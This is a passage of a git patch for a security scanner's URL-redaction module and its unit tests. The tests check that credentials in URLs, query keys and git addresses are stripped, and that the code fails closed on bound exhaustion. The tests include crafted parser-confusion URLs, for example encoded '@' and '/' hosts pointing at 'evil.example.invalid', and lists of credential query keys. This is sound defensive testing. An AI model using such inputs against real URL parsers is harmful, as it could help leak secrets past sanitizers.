_redact_text_with_usage(value: str, *, max_candidates: int) -> _TextRedactionResult: + result: list[str] = [] + cursor = 0 + candidates = 0 + try: + for match in _CANDIDATE_START.finditer(value): + if match.start() < cursor: + continue + opener = value[match.start() - 1] if match.start() > 0 else None + if opener not in _PROSE_OPENERS: + opener = None + end = _candidate_end(value, match.start()) + candidate, punctuation = _detach_trailing_prose_punctuation( + value[match.start() : end], opener + ) + if match.lastgroup == "scp" and not _looks_like_scp_git(candidate): + continue + if candidates >= max_candidates: + result.append(value[cursor : match.start()]) + result.append(REDACTED_REMAINDER) + return _TextRedactionResult("".join(result), candidates, False) + result.append(value[cursor : match.start()]) + result.append(redact_url(candidate, max_characters=len(candidate))) + result.append(punctuation) + cursor = end + candidates += 1 + except Exception: + result.append(REDACTED_REMAINDER) + return _TextRedactionResult("".join(result), candidates, False) + result.append(value[cursor:]) + return _TextRedactionResult("".join(result), candidates, True) + + def redact_text( value: str, *, @@ -180,76 +341,60 @@ def redact_text( """Redact bounded URL candidates while preserving ordinary text exactly.""" if not isinstance(value, str): return REDACTED_REMAINDER + if value == REDACTED_REMAINDER: + return value if not _valid_bound(max_characters) or not _valid_bound(max_candidates): return REDACTED_REMAINDER + if len(value) > max_characters: + return REDACTED_REMAINDER + return _redact_text_with_usage(value, max_candidates=max_candidates).value - bounded = value[:max_characters] - was_truncated = len(value) > max_characters - result: list[str] = [] - cursor = 0 - candidates = 0 - try: - for match in _TEXT_CANDIDATE.finditer(bounded): - if candidates >= max_candidates: - result.append(bounded[cursor : match.start()]) - result.append(REDACTED_REMAINDER) - return "".join(result) - result.append(bounded[cursor : match.start()]) - candidate, punctuation = _detach_trailing_prose_punctuation(match.group(0)) - result.append(redact_url(candidate, max_characters=max_characters)) - result.append(punctuation) - cursor = match.end() - candidates += 1 - except Exception: - result.append(REDACTED_REMAINDER) - return "".join(result) - result.append(bounded[cursor:]) - if was_truncated: - result.append(REDACTED_REMAINDER) - return "".join(result) +class _AggregateRedactionExhaustedError(Exception): + """Internal control flow for one exhausted recursive redaction budget.""" @dataclass(slots=True) class _ValueWalk: remaining_nodes: int max_depth: int - max_text_characters: int - max_text_candidates: int + remaining_text_characters: int + remaining_text_candidates: int active: set[int] = field(default_factory=set) def visit(self, value: object, depth: int) -> object: if depth > self.max_depth or self.remaining_nodes <= 0: - return REDACTED_VALUE + raise _AggregateRedactionExhaustedError self.remaining_nodes -= 1 if isinstance(value, str): - return redact_text( + if len(value) > self.remaining_text_characters: + raise _AggregateRedactionExhaustedError + result = _redact_text_with_usage( value, - max_characters=self.max_text_characters, - max_candidates=self.max_text_candidates, + max_candidates=self.remaining_text_candidates, ) + if not result.complete: + raise _AggregateRedactionExhaustedError + self.remaining_text_characters -= len(value) + self.remaining_text_candidates -= result.candidates + return result.value if value is None or isinstance(value, (bool, int, float)): return value if isinstance(value, (Mapping, list, tuple)): identity = id(value) if identity in self.active: return REDACTED_VALUE + if len(value) > self.remaining_nodes: + raise _AggregateRedactionExhaustedError self.active.add(identity) try: if isinstance(value, Mapping): - result: dict[object, object] = {} + result_mapping: dict[object, object] = {} for key, nested in value.items(): - if self.remaining_nodes <= 0: - result[key] = REDACTED_VALUE - else: - result[key] = self.visit(nested, depth + 1) - return result - result_items: list[object] = [] - for nested in value: - if self.remaining_nodes <= 0: - return REDACTED_VALUE - result_items.append(self.visit(nested, depth + 1)) + result_mapping[key] = self.visit(nested, depth + 1) + return result_mapping + result_items = [self.visit(nested, depth + 1) for nested in value] return tuple(result_items) if isinstance(value, tuple) else result_items finally: self.active.remove(identity) @@ -264,7 +409,7 @@ def redact_value( max_text_characters: int = MAX_REDACTION_CHARACTERS, max_text_candidates: int = MAX_REDACTION_CANDIDATES, ) -> object: - """Recursively sanitize evidence values under explicit depth and node ceilings.""" + """Recursively sanitize evidence values under aggregate explicit ceilings.""" bounds = (max_depth, max_nodes, max_text_characters, max_text_candidates) if not all(_valid_bound(bound) for bound in bounds): return REDACTED_VALUE @@ -272,8 +417,8 @@ def redact_value( return _ValueWalk( remaining_nodes=max_nodes, max_depth=max_depth, - max_text_characters=max_text_characters, - max_text_candidates=max_text_candidates, + remaining_text_characters=max_text_characters, + remaining_text_candidates=max_text_candidates, ).visit(value, 0) except Exception: return REDACTED_VALUE diff --git a/tests/unit/test_dependency_source_types.py b/tests/unit/test_dependency_source_types.py index e35a74b8..092ca8ad 100644 --- a/tests/unit/test_dependency_source_types.py +++ b/tests/unit/test_dependency_source_types.py @@ -137,6 +137,33 @@ def test_source_change_accepts_only_redacted_resolved_destinations() -> None: assert change.destination_status is api.DestinationStatus.RESOLVED +@pytest.mark.parametrize( + "raw_destination", + [ + "ftp://user:type-boundary-secret@packages.example.invalid/private", + "https://packages.example.invalid/private?apikey=type-boundary-secret", + "https://packages.example.invalid/private?channel=stable;authToken=type-boundary-secret", + ], +) +def test_source_change_rejects_raw_destination_redaction_bypasses( + raw_destination: str, +) -> None: + api = _api() + + with pytest.raises(ValueError) as error: + api.SourceChange( + ecosystem="npm", + surface="npm config", + operation="replace", + scope="global", + destination=raw_destination, + destination_status=api.DestinationStatus.RESOLVED, + span=_span(api), + ) + + assert "type-boundary-secret" not in str(error.value) + + def test_source_change_uses_one_exact_unresolved_representation() -> None: api = _api() @@ -184,6 +211,61 @@ def test_source_change_rejects_empty_semantic_fields_and_has_no_raw_payload_slot } +@pytest.mark.parametrize("field", ["ecosystem", "surface", "operation", "scope"]) +@pytest.mark.parametrize("control", ["\x00", "\x1f", "\x7f"]) +def test_source_change_semantic_fields_reject_c0_and_del_controls( + field: str, + control: str, +) -> None: + api = _api() + base = api.SourceChange( + ecosystem="pip", + surface="pip config", + operation="replace", + scope="global", + destination="unresolved", + destination_status=api.DestinationStatus.UNRESOLVED, + span=_span(api), + ) + + with pytest.raises(ValueError): + dataclasses.replace(base, **{field: f"safe{control}value"}) + + +@pytest.mark.parametrize("destination", ["", " ", "https://host.invalid/\x00path"]) +def test_resolved_destination_rejects_blank_or_control_bearing_values(destination: str) -> None: + api = _api() + + with pytest.raises(ValueError): + api.SourceChange( + ecosystem="npm", + surface="npm config", + operation="replace", + scope="global", + destination=destination, + destination_status=api.DestinationStatus.RESOLVED, + span=_span(api), + ) + + +def test_resolved_destination_rejects_values_above_its_explicit_bound() -> None: + api = _api() + destination = "https://packages.example.invalid/" + ( + "a" * api.MAX_DEPENDENCY_DESTINATION_CHARACTERS + ) + + with pytest.raises(ValueError): + api.SourceChange( + ecosystem="npm", + surface="npm config", + operation="replace", + scope="global", + destination=destination, + destination_status=api.DestinationStatus.RESOLVED, + span=_span(api), + ) + + def test_parse_and_analysis_results_freeze_iterables_as_tuples() -> None: api = _api() change = api.SourceChange( @@ -488,9 +570,11 @@ def test_ledger_budget_reserves_one_truncation_slot_at_9_999_existing_rows() -> assert normal_exhaustion.resource is api.DependencyWorkResource.LEDGER_EVENTS assert budget.used(api.DependencyWorkResource.LEDGER_EVENTS) == 9_999 - assert budget.claim_reserved_truncation_event() is None + assert budget.claim_reserved_truncation_event() is api.LedgerTruncationClaimStatus.CLAIMED assert budget.used(api.DependencyWorkResource.LEDGER_EVENTS) == 10_000 - assert budget.claim_reserved_truncation_event() is not None + assert ( + budget.claim_reserved_truncation_event() is api.LedgerTruncationClaimStatus.ALREADY_CLAIMED + ) def test_ledger_budget_allows_one_normal_row_plus_reserved_slot_at_9_998() -> None: @@ -499,7 +583,7 @@ def test_ledger_budget_allows_one_normal_row_plus_reserved_slot_at_9_998() -> No assert budget.charge_ledger_events(1) is None assert budget.charge_ledger_events(1) is not None - assert budget.claim_reserved_truncation_event() is None + assert budget.claim_reserved_truncation_event() is api.LedgerTruncationClaimStatus.CLAIMED assert budget.used(api.DependencyWorkResource.LEDGER_EVENTS) == 10_000 @@ -509,8 +593,10 @@ def test_reserved_truncation_slot_can_be_claimed_once_across_file_siblings() -> first = budget.for_file("first.conf") second = budget.for_file("second.conf") - assert first.claim_reserved_truncation_event() is None - assert second.claim_reserved_truncation_event() is not None + assert first.claim_reserved_truncation_event() is api.LedgerTruncationClaimStatus.CLAIMED + assert ( + second.claim_reserved_truncation_event() is api.LedgerTruncationClaimStatus.ALREADY_CLAIMED + ) assert budget.used(api.DependencyWorkResource.LEDGER_EVENTS) == 10_000 @@ -518,13 +604,29 @@ def test_full_existing_ledger_has_no_fabricated_truncation_slot() -> None: api = _api() budget = api.DependencyWorkBudget.from_existing(findings=[], ledger_events=[{}] * 10_000) - exhaustion = budget.claim_reserved_truncation_event() + status = budget.claim_reserved_truncation_event() - assert exhaustion.resource is api.DependencyWorkResource.LEDGER_EVENTS - assert (exhaustion.observed, exhaustion.limit) == (10_001, 10_000) + assert status is api.LedgerTruncationClaimStatus.NO_CAPACITY assert budget.used(api.DependencyWorkResource.LEDGER_EVENTS) == 10_000 +def test_dependency_work_exhaustion_requires_a_real_one_over_capacity_observation() -> None: + api = _api() + + with pytest.raises(ValueError): + api.DependencyWorkExhaustion( + resource=api.DependencyWorkResource.LEDGER_EVENTS, + observed=2, + limit=10_000, + ) + with pytest.raises(ValueError): + api.DependencyWorkExhaustion( + resource=api.DependencyWorkResource.LEDGER_EVENTS, + observed=10_000, + limit=10_000, + ) + + @pytest.mark.parametrize( ("finding_records", "ledger_events"), [(10_001, 0), (0, 10_001)], diff --git a/tests/unit/test_url_redaction.py b/tests/unit/test_url_redaction.py index f44c60c1..208a7ca2 100644 --- a/tests/unit/test_url_redaction.py +++ b/tests/unit/test_url_redaction.py @@ -6,6 +6,7 @@ from __future__ import annotations import importlib +from collections.abc import Iterator, Mapping from typing import Any import pytest @@ -62,6 +63,31 @@ def test_credential_semantic_query_keys_are_decoded_and_redacted(query_key: str) assert "channel=stable" in redacted +@pytest.mark.parametrize( + "query_key", + [ + "apikey", + "APIKEY", + "authToken", + "AUTHTOKEN", + "accessToken", + "clientSecret", + "privateKey", + "sig", + "%61pikey", + "%41piKey", + ], +) +def test_compact_and_mixed_case_credential_query_keys_are_redacted(query_key: str) -> None: + api = _api() + sentinel = "compact-query-secret-67fe" + + redacted = api.redact_url(f"https://packages.example.invalid/simple?{query_key}={sentinel}") + + assert redacted == (f"https://packages.example.invalid/simple?{query_key}=REDACTED") + assert sentinel not in redacted + + @pytest.mark.parametrize( "raw", [ @@ -126,6 +152,39 @@ def test_cargo_sparse_url_preserves_safe_scheme_host_and_path() -> None: assert api.redact_url(raw) == ("sparse+https://REDACTED@packages.example.invalid/index/") +@pytest.mark.parametrize( + ("raw", "expected"), + [ + ( + "ftp://user:ftp-secret@packages.example.invalid/private", + "ftp://REDACTED@packages.example.invalid/private", + ), + ( + "custom+pkg://user:custom-secret@packages.example.invalid/private", + "custom+pkg://REDACTED@packages.example.invalid/private", + ), + ( + "https://user:'apostrophe-secret@packages.example.invalid/private", + "https://REDACTED@packages.example.invalid/private", + ), + ], +) +def test_generic_hierarchical_schemes_and_apostrophe_userinfo_are_sanitized( + raw: str, + expected: str, +) -> None: + api = _api() + + assert api.redact_url(raw) == expected + + +def test_unknown_scheme_without_sensitive_components_remains_unchanged() -> None: + api = _api() + raw = "ftp://packages.example.invalid/private?channel=stable" + + assert api.redact_url(raw) == raw + + def test_email_followed_by_colon_prose_is_not_treated_as_scp_git_syntax() -> None: api = _api() text = "Contact dev@example.invalid:today or dev@example.invalid: today." @@ -171,6 +230,32 @@ def test_ambiguous_authorities_and_urlsplit_normalization_traps_fail_closed(raw: assert "secret" not in redacted.lower() +@pytest.mark.parametrize( + "raw", + [ + "https://user:empty-port-secret@packages.example.invalid:/repo", + "https://user:encoded-colon-secret@packages%3Aevil.example.invalid/repo", + "https://user:encoded-at-secret@packages%40evil.example.invalid/repo", + "https://user:encoded-slash-secret@packages%2Fevil.example.invalid/repo", + "https://user:encoded-query-secret@packages%3Fevil.example.invalid/repo", + "https://user:encoded-fragment-secret@packages%23evil.example.invalid/repo", + "https://user:encoded-control-secret@packages%00evil.example.invalid/repo", + "https://user:encoded-space-secret@packages%20evil.example.invalid/repo", + "https://user:unbracketed-secret@2001:db8::1/repo", + "https://user:bad-bracket-secret@[not-ipv6]/repo", + "https://user:empty-host-secret@:443/repo", + "scp-bracket-secret@[not-ipv6]:org/repo.git", + ], +) +def test_ambiguous_authority_delimiters_ports_and_bracket_hosts_fail_closed(raw: str) -> None: + api = _api() + + redacted = api.redact_url(raw) + + assert redacted == api.REDACTED_URL + assert "secret" not in redacted.lower() + + def test_query_redaction_preserves_nonsensitive_raw_order_duplicates_blanks_flags_and_encoding() -> ( None ): @@ -190,6 +275,23 @@ def test_query_redaction_preserves_nonsensitive_raw_order_duplicates_blanks_flag ) +def test_query_redaction_preserves_mixed_ampersand_semicolon_delimiters() -> None: + api = _api() + raw = ( + "https://packages.example.invalid/simple?" + "channel=one;apikey=semicolon-secret&flag;token=second-secret;blank=&channel=two" + ) + + redacted = api.redact_url(raw) + + assert redacted == ( + "https://packages.example.invalid/simple?" + "channel=one;apikey=REDACTED&flag;token=REDACTED;blank=&channel=two" + ) + assert "semicolon-secret" not in redacted + assert "second-secret" not in redacted + + @pytest.mark.parametrize("query_key", ["monkey", "compass", "tokenizer", "secretary"]) def test_query_key_substrings_that_are_not_credential_semantics_remain_unchanged( query_key: str, @@ -227,6 +329,83 @@ def test_embedded_url_fragment_is_removed_without_swallowing_trailing_prose_punc ) +@pytest.mark.parametrize( + ("text", "expected"), + [ + ( + "Use 'https://user:quoted-secret@packages.example.invalid/private'.", + "Use 'https://REDACTED@packages.example.invalid/private'.", + ), + ( + "Use `https://user:tick-secret@packages.example.invalid/private`.", + "Use `https://REDACTED@packages.example.invalid/private`.", + ), + ( + 'Use "https://user:double-secret@packages.example.invalid/private".', + 'Use "https://REDACTED@packages.example.invalid/private".', + ), + ( + "Use https://user:'userinfo-secret@packages.example.invalid/private now.", + "Use https://REDACTED@packages.example.invalid/private now.", + ), + ], +) +def test_embedded_quotes_are_preserved_while_apostrophes_inside_userinfo_are_redacted( + text: str, + expected: str, +) -> None: + api = _api() + + assert api.redact_text(text) == expected + + +@pytest.mark.parametrize("delimiter", ['"', "`", "<"]) +def test_invalid_userinfo_delimiters_cannot_leave_a_raw_secret_suffix( + delimiter: str, +) -> None: + api = _api() + sentinel = "delimiter-userinfo-secret-9e41" + text = f"Use https://user:{delimiter}{sentinel}@packages.example.invalid/private now." + + redacted = api.redact_text(text) + + assert redacted == f"Use {api.REDACTED_URL} now." + assert sentinel not in redacted + + +def test_angle_bracket_prose_wrapper_is_preserved_around_a_sanitized_url() -> None: + api = _api() + text = "Use ." + + assert api.redact_text(text) == ("Use .") + + +@pytest.mark.parametrize( + ("text", "expected"), + [ + ( + "Open (https://[2001:db8::1]:8443/index), then continue.", + "Open (https://[2001:db8::1]:8443/index), then continue.", + ), + ( + "Open (https://user:ipv6-embedded-secret@[2001:db8::1]:8443/index), then.", + "Open (https://REDACTED@[2001:db8::1]:8443/index), then.", + ), + ( + "See [https://user:bracket-secret@packages.example.invalid/private].", + "See [https://REDACTED@packages.example.invalid/private].", + ), + ], +) +def test_embedded_ipv6_authority_brackets_and_paired_prose_closers_are_preserved( + text: str, + expected: str, +) -> None: + api = _api() + + assert api.redact_text(text) == expected + + def test_ordinary_no_match_text_is_byte_for_byte_unchanged() -> None: api = _api() text = "Keep punctuation, Unicode ☃, paths ./src, and email dev@example.invalid exactly." @@ -234,6 +413,15 @@ def test_ordinary_no_match_text_is_byte_for_byte_unchanged() -> None: assert api.redact_text(text) == text +def test_default_text_bound_preserves_large_benign_provider_content() -> None: + api = _api() + text = "ordinary provider context\n" * 5_000 + + assert len(text) > 100_000 + assert api.MAX_REDACTION_CHARACTERS == 16 * 1024 * 1024 + assert api.redact_text(text) == text + + def test_text_redaction_fails_closed_when_candidate_or_character_bound_is_exhausted() -> None: api = _api() first_secret = "first-bound-secret" @@ -254,6 +442,28 @@ def test_text_redaction_fails_closed_when_candidate_or_character_bound_is_exhaus assert api.REDACTED_REMAINDER in character_bounded +@pytest.mark.parametrize( + ("raw", "max_characters"), + [ + ("https://alice:123456789@example.invalid/path", 18), + ("https://alice:password-cut@example.invalid/path", 27), + ("https://packages.example.invalid/path?token=query-cut-secret", 52), + ("https://packages.example.invalid/path#fragment-cut-secret", 49), + ], +) +def test_over_bound_text_never_parses_or_returns_a_clipped_prefix( + raw: str, + max_characters: int, +) -> None: + api = _api() + + redacted = api.redact_text(raw, max_characters=max_characters) + + assert redacted == api.REDACTED_REMAINDER + assert redacted == api.redact_text(redacted, max_characters=max_characters) + assert raw[:max_characters] not in redacted + + def test_direct_url_redaction_fails_closed_when_character_bound_is_exhausted() -> None: api = _api() sentinel = "direct-bound-secret" @@ -310,7 +520,7 @@ def test_nested_redaction_fails_closed_at_depth_and_item_bounds() -> None: assert depth_secret not in repr(depth_bounded) assert item_secret not in repr(item_bounded) assert api.REDACTED_VALUE in repr(depth_bounded) - assert item_bounded == {"first": "safe", "second": api.REDACTED_VALUE} + assert item_bounded == api.REDACTED_VALUE def test_recursive_value_exact_depth_and_node_bounds_succeed_but_one_over_is_redacted() -> None: @@ -345,6 +555,55 @@ def test_recursive_value_self_reference_terminates_fail_closed() -> None: assert redacted == [api.REDACTED_VALUE] +def test_recursive_text_character_budget_is_aggregate_across_sibling_values() -> None: + api = _api() + value = {"first": "abcd", "second": "efgh"} + + assert api.redact_value(value, max_text_characters=8) == value + assert api.redact_value(value, max_text_characters=7) == api.REDACTED_VALUE + + +def test_recursive_candidate_budget_is_aggregate_across_sibling_values() -> None: + api = _api() + value = { + "first": "https://user:first-aggregate-secret@one.example.invalid/repo", + "second": "https://user:second-aggregate-secret@two.example.invalid/repo", + } + + exact = api.redact_value(value, max_text_candidates=2) + + assert "first-aggregate-secret" not in repr(exact) + assert "second-aggregate-secret" not in repr(exact) + assert api.redact_value(value, max_text_candidates=1) == api.REDACTED_VALUE + + +class _CountingMapping(Mapping[str, str]): + def __init__(self) -> None: + self.iterations = 0 + self._values = {"first": "one", "second": "two", "third": "three"} + + def __getitem__(self, key: str) -> str: + return self._values[key] + + def __iter__(self) -> Iterator[str]: + for key in self._values: + self.iterations += 1 + yield key + + def __len__(self) -> int: + return len(self._values) + + +def test_recursive_node_exhaustion_stops_before_iterating_an_oversized_mapping() -> None: + api = _api() + value = _CountingMapping() + + redacted = api.redact_value(value, max_nodes=2) + + assert redacted == api.REDACTED_VALUE + assert value.iterations == 0 + + @pytest.mark.parametrize( "function_name", ["redact_url", "redact_text"], From 15b71b76e18ddee65fb056923328d8ebc1f29d5b Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 18:16:56 -0700 Subject: [PATCH 09/30] fix(sc10): simplify bounded source redaction Signed-off-by: Nir Paz --- src/skillspector/dependency_source_types.py | 8 +- src/skillspector/url_redaction.py | 316 ++++++--- tests/unit/test_dependency_source_types.py | 66 ++ tests/unit/test_url_redaction.py | 717 +++++++++++++++++++- 4 files changed, 1025 insertions(+), 82 deletions(-) diff --git a/src/skillspector/dependency_source_types.py b/src/skillspector/dependency_source_types.py index 9abbb02a..4c2628e6 100644 --- a/src/skillspector/dependency_source_types.py +++ b/src/skillspector/dependency_source_types.py @@ -10,6 +10,10 @@ from enum import StrEnum from typing import Final +from skillspector.inspection_ledger import ( + MAX_FINDING_OUTPUT_RECORDS, + MAX_INSPECTION_LEDGER_EVENTS, +) from skillspector.models import Finding from skillspector.url_redaction import redact_text, redact_url @@ -17,8 +21,8 @@ MAX_DEPENDENCY_RETAINED_LITERAL_BYTES: Final = 2_000_000 MAX_DEPENDENCY_SOURCE_RECORDS: Final = 50_000 MAX_DEPENDENCY_SOURCE_CHANGES: Final = 10_000 -MAX_DEPENDENCY_FINDING_OUTPUT_RECORDS: Final = 10_000 -MAX_DEPENDENCY_LEDGER_EVENTS: Final = 10_000 +MAX_DEPENDENCY_FINDING_OUTPUT_RECORDS: Final = MAX_FINDING_OUTPUT_RECORDS +MAX_DEPENDENCY_LEDGER_EVENTS: Final = MAX_INSPECTION_LEDGER_EVENTS MAX_DEPENDENCY_FILE_BYTES: Final = 1_000_000 MAX_DEPENDENCY_YAML_ALIASES: Final = 256 MAX_DEPENDENCY_CONFIG_DEPTH: Final = 64 diff --git a/src/skillspector/url_redaction.py b/src/skillspector/url_redaction.py index 491494b0..48235e9c 100644 --- a/src/skillspector/url_redaction.py +++ b/src/skillspector/url_redaction.py @@ -8,6 +8,7 @@ import re from collections.abc import Mapping from dataclasses import dataclass, field +from enum import StrEnum from io import StringIO from ipaddress import IPv6Address from typing import Final @@ -46,41 +47,21 @@ "tokens", } ) -_COMPACT_CREDENTIAL_KEYS: Final = frozenset( - { - "accesstoken", - "apikey", - "authtoken", - "bearertoken", - "clientsecret", - "clienttoken", - "idtoken", - "privatekey", - "refreshtoken", - "secretkey", - "sessionkey", - "signingkey", - } -) +_MAX_RAW_QUERY_KEY_CHARACTERS: Final = 3 * 256 +_MAX_DECODED_QUERY_KEY_CHARACTERS: Final = 256 _CONTROL_CHARACTER = re.compile(r"[\x00-\x1f\x7f]") _UNSAFE_URI_CHARACTER = re.compile(r'[<>"`]') _BAD_PERCENT_ESCAPE = re.compile(r"%(?![0-9A-Fa-f]{2})") +_PERCENT_ESCAPE = re.compile(r"%[0-9A-Fa-f]{2}") _ENCODED_UNSAFE_AUTHORITY_CHARACTER = re.compile( r"%(?:0[0-9A-Fa-f]|1[0-9A-Fa-f]|20|23|2[fF]|3[aAfF]|40|5[bBcCdD]|7[fF])" ) -_CAMEL_BOUNDARY = re.compile(r"(?<=[a-z0-9])(?=[A-Z])") -_QUERY_WORD_SEPARATOR = re.compile(r"[^A-Za-z0-9]+") _SCHEME = re.compile(r"^[A-Za-z][A-Za-z0-9+.-]*$") _SCP_URL = re.compile( r"^(?P[^@/:\\\s]+)@" r"(?P\[[^\]\s]+\]|[^@/:\\\s]+):" r"(?P.+)$" ) -_CANDIDATE_START = re.compile( - r"(?P(?(?\"`]+@" - r"(?:\[[^\]\s]+\]|[^@/:\\\s<>\"`]+):)", -) _PROSE_OPENERS: Final = frozenset("([{<\"'`") _PAIRED_CLOSERS: Final = { ")": "(", @@ -103,14 +84,20 @@ def _has_ambiguous_percent_escape(value: str) -> bool: def _query_key_is_sensitive(raw_key: str) -> bool: + if len(raw_key) > _MAX_RAW_QUERY_KEY_CHARACTERS: + raise ValueError("query key exceeds its bound") try: decoded = unquote_plus(raw_key, encoding="utf-8", errors="strict") except (UnicodeDecodeError, ValueError): raise ValueError("query key is ambiguous") from None - expanded = _CAMEL_BOUNDARY.sub("_", decoded) - words = {word.casefold() for word in _QUERY_WORD_SEPARATOR.split(expanded) if word} - compact = "".join(character for character in decoded if character.isalnum()).casefold() - return bool(words & _CREDENTIAL_WORDS) or compact in _COMPACT_CREDENTIAL_KEYS + if ( + len(decoded) > _MAX_DECODED_QUERY_KEY_CHARACTERS + or _CONTROL_CHARACTER.search(decoded) + or _PERCENT_ESCAPE.search(decoded) + ): + raise ValueError("query key is ambiguous") + folded = decoded.casefold() + return any(term in folded for term in _CREDENTIAL_WORDS) def _redact_query(raw_query: str) -> str: @@ -233,12 +220,44 @@ def _redact_scp_url(value: str) -> str: return f"REDACTED@{match.group('host')}:{raw_path}{suffix}" +def _scp_discovery_path(candidate: str) -> str | None: + at_sign = candidate.find("@") + if at_sign < 0 or at_sign + 1 >= len(candidate): + return None + host_start = at_sign + 1 + if candidate[host_start] == "[": + close = candidate.find("]", host_start + 1) + if close < 0 or close + 1 >= len(candidate) or candidate[close + 1] != ":": + return None + separator = close + 1 + else: + separator = candidate.find(":", host_start) + if separator < 0: + return None + return candidate[separator + 1 :].split("?", 1)[0] + + def _looks_like_scp_git(value: str) -> bool: - without_fragment = value.split("#", 1)[0] - if "@" not in without_fragment or ":" not in without_fragment: - return False - path = without_fragment.rsplit(":", 1)[-1].split("?", 1)[0] - return "/" in path or path.casefold().endswith(".git") + candidates = (value.split("#", 1)[0], value.replace("#", "")) + for candidate in candidates: + path = _scp_discovery_path(candidate) + if path is None: + continue + if "/" in path or ".git" in path.casefold(): + return True + return False + + +def _hierarchical_suffix_after_authority(value: str) -> str: + marker = value.find("://") + if marker < 0: + return "" + suffix_start = len(value) + for delimiter in "/?#": + position = value.find(delimiter, marker + 3) + if position >= 0: + suffix_start = min(suffix_start, position) + return value[suffix_start:] def _detach_trailing_prose_punctuation( @@ -246,16 +265,13 @@ def _detach_trailing_prose_punctuation( opener: str | None, ) -> tuple[str, str]: split_at = len(value) - suffix = "" while split_at > 0 and value[split_at - 1] in _SENTENCE_PUNCTUATION: split_at -= 1 - suffix = value[split_at] + suffix if split_at > 0 and opener is not None: closer = value[split_at - 1] if _PAIRED_CLOSERS.get(closer) == opener: split_at -= 1 - suffix = closer + suffix - return value[:split_at], suffix + return value[:split_at], value[split_at:] def redact_url(value: str, *, max_characters: int = MAX_REDACTION_CHARACTERS) -> str: @@ -268,6 +284,14 @@ def redact_url(value: str, *, max_characters: int = MAX_REDACTION_CHARACTERS) -> suspicious = is_hierarchical_uri or _looks_like_scp_git(value) if not suspicious: return value + if is_hierarchical_uri: + first_marker = value.find("://") + if value.find("://", first_marker + 3) >= 0 or _looks_like_scp_git( + _hierarchical_suffix_after_authority(value) + ): + return REDACTED_URL + elif "#" in value and not _looks_like_scp_git(value.split("#", 1)[0]): + return REDACTED_URL if ( _CONTROL_CHARACTER.search(value) or _UNSAFE_URI_CHARACTER.search(value) @@ -285,69 +309,208 @@ def redact_url(value: str, *, max_characters: int = MAX_REDACTION_CHARACTERS) -> return REDACTED_URL +class TextRedactionIncompleteReason(StrEnum): + """Content-free reason that one bounded text redaction did not complete.""" + + CHARACTER_LIMIT = "character_limit" + CANDIDATE_LIMIT = "candidate_limit" + INVALID_INPUT = "invalid_input" + INTERNAL_ERROR = "internal_error" + + +@dataclass(frozen=True, slots=True) +class TextRedactionResult: + """Sanitized text plus truthful bounded completion and usage metadata.""" + + value: str + complete: bool + candidates: int + reason: TextRedactionIncompleteReason | None + + def __post_init__(self) -> None: + if ( + not isinstance(self.value, str) + or type(self.complete) is not bool + or not _valid_bound(self.candidates) + or self.candidates > MAX_REDACTION_CHARACTERS + or ( + self.reason is not None + and not isinstance(self.reason, TextRedactionIncompleteReason) + ) + or self.complete is (self.reason is not None) + ): + raise ValueError("invalid text redaction result") + + @dataclass(frozen=True, slots=True) -class _TextRedactionResult: +class _TokenRedactionResult: value: str candidates: int complete: bool -def _candidate_end(value: str, start: int) -> int: - index = start - while index < len(value) and not value[index].isspace(): - index += 1 - return index +def _simple_token_parts(token: str) -> tuple[str, str, str, str]: + split_at = len(token) + while split_at > 0 and token[split_at - 1] in _SENTENCE_PUNCTUATION: + split_at -= 1 + punctuation = token[split_at:] + core = token[:split_at] + if len(core) >= 2 and core[0] in _PROSE_OPENERS: + opener = core[0] + closer = core[-1] + if _PAIRED_CLOSERS.get(closer) == opener: + return opener, core[1:-1], closer, punctuation + return "", core, "", punctuation + + +def _scp_signals_in_token(token: str, first_marker: int) -> int: + if "@" not in token or ":" not in token: + return 0 + if first_marker < 0: + return token.count("@") if _looks_like_scp_git(token) else 0 + + signals = 0 + at_before = token.find("@", 0, first_marker) + if at_before >= 0: + separator = token.find(":", at_before + 1, first_marker) + assignment = token.find("=", at_before + 1, first_marker) + if separator >= 0 and assignment < 0: + signals += token[:first_marker].count("@") + + suffix_start = len(token) + for delimiter in "/?#": + position = token.find(delimiter, first_marker + 3) + if position >= 0: + suffix_start = min(suffix_start, position) + suffix = token[suffix_start:] + if _looks_like_scp_git(suffix): + signals += suffix.count("@") + return signals + + +def _simple_redact_token(token: str, *, max_candidates: int) -> _TokenRedactionResult: + marker_count = token.count("://") + first_marker = token.find("://") + scp_signals = _scp_signals_in_token(token, first_marker) + signals = marker_count + scp_signals + if signals == 0: + return _TokenRedactionResult(token, 0, True) + if signals > max_candidates: + return _TokenRedactionResult( + REDACTED_REMAINDER, + max_candidates, + False, + ) + + opener, candidate, closer, punctuation = _simple_token_parts(token) + sanitized = redact_url(candidate, max_characters=len(candidate)) + if sanitized == REDACTED_URL: + return _TokenRedactionResult(f"{REDACTED_URL}{punctuation}", signals, True) + return _TokenRedactionResult( + f"{opener}{sanitized}{closer}{punctuation}", + signals, + True, + ) -def _redact_text_with_usage(value: str, *, max_candidates: int) -> _TextRedactionResult: - result: list[str] = [] +def _redact_text_with_usage(value: str, *, max_candidates: int) -> TextRedactionResult: + result = StringIO() cursor = 0 + index = 0 candidates = 0 try: - for match in _CANDIDATE_START.finditer(value): - if match.start() < cursor: + while index < len(value): + while index < len(value) and value[index].isspace(): + index += 1 + token_start = index + while index < len(value) and not value[index].isspace(): + index += 1 + if token_start == index: continue - opener = value[match.start() - 1] if match.start() > 0 else None - if opener not in _PROSE_OPENERS: - opener = None - end = _candidate_end(value, match.start()) - candidate, punctuation = _detach_trailing_prose_punctuation( - value[match.start() : end], opener + result.write(value[cursor:token_start]) + token = _simple_redact_token( + value[token_start:index], + max_candidates=max_candidates - candidates, ) - if match.lastgroup == "scp" and not _looks_like_scp_git(candidate): - continue - if candidates >= max_candidates: - result.append(value[cursor : match.start()]) - result.append(REDACTED_REMAINDER) - return _TextRedactionResult("".join(result), candidates, False) - result.append(value[cursor : match.start()]) - result.append(redact_url(candidate, max_characters=len(candidate))) - result.append(punctuation) - cursor = end - candidates += 1 + result.write(token.value) + if not token.complete: + return TextRedactionResult( + value=result.getvalue(), + complete=False, + candidates=candidates + token.candidates, + reason=TextRedactionIncompleteReason.CANDIDATE_LIMIT, + ) + candidates += token.candidates + cursor = index except Exception: - result.append(REDACTED_REMAINDER) - return _TextRedactionResult("".join(result), candidates, False) - result.append(value[cursor:]) - return _TextRedactionResult("".join(result), candidates, True) + 